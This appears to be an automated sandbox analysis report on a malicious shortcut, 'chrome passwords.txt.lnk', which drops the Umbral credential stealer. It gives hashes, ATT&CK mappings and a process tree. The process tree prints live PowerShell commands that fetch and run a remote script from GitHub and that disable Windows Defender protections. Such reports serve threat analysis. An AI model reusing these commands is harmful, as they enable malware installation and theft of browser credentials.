umbral | 2599b76e8efb52c183e141c5bbd92da2aefd767295b8579a40442415c8b7061a

Analysis

max time kernel
103s
max time network
138s
platform
windows10-2004_x64
resource
win10v2004-20250314-en
resource tags

arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
submitted
23/03/2025, 14:59

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General

Target

chrome passwords.txt.lnk
Size

2KB
MD5

47668567f79882bddc96a52bc6c1fc89
SHA1

7d0e69cff74fb5bd0e58d494c3f5eab815703f4d
SHA256

2599b76e8efb52c183e141c5bbd92da2aefd767295b8579a40442415c8b7061a
SHA512

71e57e3c278611e7f27d1fc4338297f04946f6e2dced678fdd05541f33524ee3d6c635a24e27f03e20064f8a9496f212b02193a241e3627b0b286d8d71c9cf5f

Score

10^/10

umbral execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 2 IoCs

resource	yara_rule
behavioral1/files/0x0008000000024080-19.dat	family_umbral
behavioral1/memory/1068-29-0x000001FF23A80000-0x000001FF23AC0000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Blocklisted process makes network request 2 IoCs

flow	pid	Process
7	4148	powershell.exe
11	4148	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
4148	powershell.exe
2532	powershell.exe
3428	powershell.exe
392	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-805952410-2104024357-1716932545-1000\Control Panel\International\Geo\Nation	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
1068	Umbral.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs

Web Service

T1102

flow	ioc
6	raw.githubusercontent.com
7	raw.githubusercontent.com
37	discord.com
38	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
35	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
3780	wmic.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
4148	powershell.exe
4148	powershell.exe
2532	powershell.exe
2532	powershell.exe
3428	powershell.exe
3428	powershell.exe
392	powershell.exe
392	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4148	powershell.exe
Token: SeDebugPrivilege	1068	Umbral.exe
Token: SeDebugPrivilege	2532	powershell.exe
Token: SeDebugPrivilege	3428	powershell.exe
Token: SeIncreaseQuotaPrivilege	1840	wmic.exe
Token: SeSecurityPrivilege	1840	wmic.exe
Token: SeTakeOwnershipPrivilege	1840	wmic.exe
Token: SeLoadDriverPrivilege	1840	wmic.exe
Token: SeSystemProfilePrivilege	1840	wmic.exe
Token: SeSystemtimePrivilege	1840	wmic.exe
Token: SeProfSingleProcessPrivilege	1840	wmic.exe
Token: SeIncBasePriorityPrivilege	1840	wmic.exe
Token: SeCreatePagefilePrivilege	1840	wmic.exe
Token: SeBackupPrivilege	1840	wmic.exe
Token: SeRestorePrivilege	1840	wmic.exe
Token: SeShutdownPrivilege	1840	wmic.exe
Token: SeDebugPrivilege	1840	wmic.exe
Token: SeSystemEnvironmentPrivilege	1840	wmic.exe
Token: SeRemoteShutdownPrivilege	1840	wmic.exe
Token: SeUndockPrivilege	1840	wmic.exe
Token: SeManageVolumePrivilege	1840	wmic.exe
Token: 33	1840	wmic.exe
Token: 34	1840	wmic.exe
Token: 35	1840	wmic.exe
Token: 36	1840	wmic.exe
Token: SeIncreaseQuotaPrivilege	1840	wmic.exe
Token: SeSecurityPrivilege	1840	wmic.exe
Token: SeTakeOwnershipPrivilege	1840	wmic.exe
Token: SeLoadDriverPrivilege	1840	wmic.exe
Token: SeSystemProfilePrivilege	1840	wmic.exe
Token: SeSystemtimePrivilege	1840	wmic.exe
Token: SeProfSingleProcessPrivilege	1840	wmic.exe
Token: SeIncBasePriorityPrivilege	1840	wmic.exe
Token: SeCreatePagefilePrivilege	1840	wmic.exe
Token: SeBackupPrivilege	1840	wmic.exe
Token: SeRestorePrivilege	1840	wmic.exe
Token: SeShutdownPrivilege	1840	wmic.exe
Token: SeDebugPrivilege	1840	wmic.exe
Token: SeSystemEnvironmentPrivilege	1840	wmic.exe
Token: SeRemoteShutdownPrivilege	1840	wmic.exe
Token: SeUndockPrivilege	1840	wmic.exe
Token: SeManageVolumePrivilege	1840	wmic.exe
Token: 33	1840	wmic.exe
Token: 34	1840	wmic.exe
Token: 35	1840	wmic.exe
Token: 36	1840	wmic.exe
Token: SeIncreaseQuotaPrivilege	2424	wmic.exe
Token: SeSecurityPrivilege	2424	wmic.exe
Token: SeTakeOwnershipPrivilege	2424	wmic.exe
Token: SeLoadDriverPrivilege	2424	wmic.exe
Token: SeSystemProfilePrivilege	2424	wmic.exe
Token: SeSystemtimePrivilege	2424	wmic.exe
Token: SeProfSingleProcessPrivilege	2424	wmic.exe
Token: SeIncBasePriorityPrivilege	2424	wmic.exe
Token: SeCreatePagefilePrivilege	2424	wmic.exe
Token: SeBackupPrivilege	2424	wmic.exe
Token: SeRestorePrivilege	2424	wmic.exe
Token: SeShutdownPrivilege	2424	wmic.exe
Token: SeDebugPrivilege	2424	wmic.exe
Token: SeSystemEnvironmentPrivilege	2424	wmic.exe
Token: SeRemoteShutdownPrivilege	2424	wmic.exe
Token: SeUndockPrivilege	2424	wmic.exe
Token: SeManageVolumePrivilege	2424	wmic.exe
Token: 33	2424	wmic.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 4664 wrote to memory of 4148	4664	cmd.exe	87
PID 4664 wrote to memory of 4148	4664	cmd.exe	87
PID 4148 wrote to memory of 1068	4148	powershell.exe	93
PID 4148 wrote to memory of 1068	4148	powershell.exe	93
PID 1068 wrote to memory of 2532	1068	Umbral.exe	96
PID 1068 wrote to memory of 2532	1068	Umbral.exe	96
PID 1068 wrote to memory of 3428	1068	Umbral.exe	98
PID 1068 wrote to memory of 3428	1068	Umbral.exe	98
PID 1068 wrote to memory of 1840	1068	Umbral.exe	100
PID 1068 wrote to memory of 1840	1068	Umbral.exe	100
PID 1068 wrote to memory of 2424	1068	Umbral.exe	102
PID 1068 wrote to memory of 2424	1068	Umbral.exe	102
PID 1068 wrote to memory of 3896	1068	Umbral.exe	105
PID 1068 wrote to memory of 3896	1068	Umbral.exe	105
PID 1068 wrote to memory of 392	1068	Umbral.exe	107
PID 1068 wrote to memory of 392	1068	Umbral.exe	107
PID 1068 wrote to memory of 3780	1068	Umbral.exe	109
PID 1068 wrote to memory of 3780	1068	Umbral.exe	109

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\chrome passwords.txt.lnk"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4664
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Invoke-Expression (Invoke-WebRequest -Uri 'https://raw.githubusercontent.com/sigmanip/reallogs123fr/refs/heads/main/download_and_run.ps1' -UseBasicParsing).Content"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4148
- - C:\Users\Admin\AppData\Local\Temp\Umbral.exe
    "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1068
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2532
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3428
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" os get Caption
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1840
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" computersystem get totalphysicalmemory
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2424
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" csproduct get uuid
      4⤵
      PID:3896
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:392
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic" path win32_VideoController get name
      4⤵
      Detects videocard installed
      PID:3780

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
556084f2c6d459c116a69d6fedcc4105

SHA1
633e89b9a1e77942d822d14de6708430a3944dbc

SHA256
88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

SHA512
0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
00a38b7d5c1d79d8ac4b676c44879b17

SHA1
0e54bec9c3feecd66563c879872f2f28b2f7d35a

SHA256
ef7e0a8869cc2c16d9e48be2810d4f2aaf4d8fb5a6076666009ff714b8a417f3

SHA512
cb771f0e9ee51e08417f1d5779d5fcde8af8299a98fb131f3a038a4fdc0495b7dcfeb52bbe480d5c532131834ec06f3f1f4cdf5352a15e5a39c142ea7dc58550

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
e1998d7d07a2cde3ba7241ee388b36c2

SHA1
c229adffd103824362426c4e3103b7b415426990

SHA256
effdbc6b49698dd85890627cdc91b8594c7ebb0f43cead36843f949a9fa4358b

SHA512
5f0a2b70935ef9d3ef55f32904588d584d1e0fe8d9e0bba1b763304a1b71b2d99c5bf6cfe8327b4505a26cc3f8c72c1946ebc702c998499cce21fa7a84315720

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
c65738617888921a153bd9b1ef516ee7

SHA1
5245e71ea3c181d76320c857b639272ac9e079b1

SHA256
4640ba4001fd16a593315299cbdd4988dc2c7075820687f1018aac40aca95c26

SHA512
2e2a0ebd93f9d8dd07a7599054bce232683e9add9a35e77b584618040bcfd84a42545352519ec4736cc379002210b6f3ed2d905591c6925c0981b0392b495bfa

Download Submit
C:\Users\Admin\AppData\Local\Temp\Umbral.exe

Filesize
227KB

MD5
68b35208a6ccc5cf6cfa41f86712e7ab

SHA1
34c735c3cc8fd7f9d225cd7323e5632aa772f465

SHA256
4a7c61f2655323ab50ae5d82063c96f5f8bad0ea39c0e6895b6354668b425279

SHA512
f05d7f10ee0a9ebef78696c86ec8f973242aafba3004cd6ee753b8ca44916b898befcca907b27ec711db60bb5141dc57cf36a00545cf4253136e1ecb63194f3f

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ozbc5hw3.uvo.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1068-54-0x000001FF3E160000-0x000001FF3E1B0000-memory.dmp

Filesize
320KB

Download
memory/1068-64-0x000001FF3E1D0000-0x000001FF3E1E2000-memory.dmp

Filesize
72KB

Download
memory/1068-63-0x000001FF25980000-0x000001FF2598A000-memory.dmp

Filesize
40KB

Download
memory/1068-29-0x000001FF23A80000-0x000001FF23AC0000-memory.dmp

Filesize
256KB

Download
memory/1068-56-0x000001FF25940000-0x000001FF2595E000-memory.dmp

Filesize
120KB

Download
memory/1068-55-0x000001FF3E230000-0x000001FF3E2A6000-memory.dmp

Filesize
472KB

Download
memory/4148-14-0x00007FFABA2F0000-0x00007FFABADB1000-memory.dmp

Filesize
10.8MB

Download
memory/4148-30-0x00007FFABA2F0000-0x00007FFABADB1000-memory.dmp

Filesize
10.8MB

Download
memory/4148-28-0x000002A8DCB70000-0x000002A8DCD8C000-memory.dmp

Filesize
2.1MB

Download
memory/4148-2-0x00007FFABA2F3000-0x00007FFABA2F5000-memory.dmp

Filesize
8KB

Download
memory/4148-13-0x00007FFABA2F0000-0x00007FFABADB1000-memory.dmp

Filesize
10.8MB

Download
memory/4148-12-0x000002A8DCAF0000-0x000002A8DCB12000-memory.dmp

Filesize
136KB

Download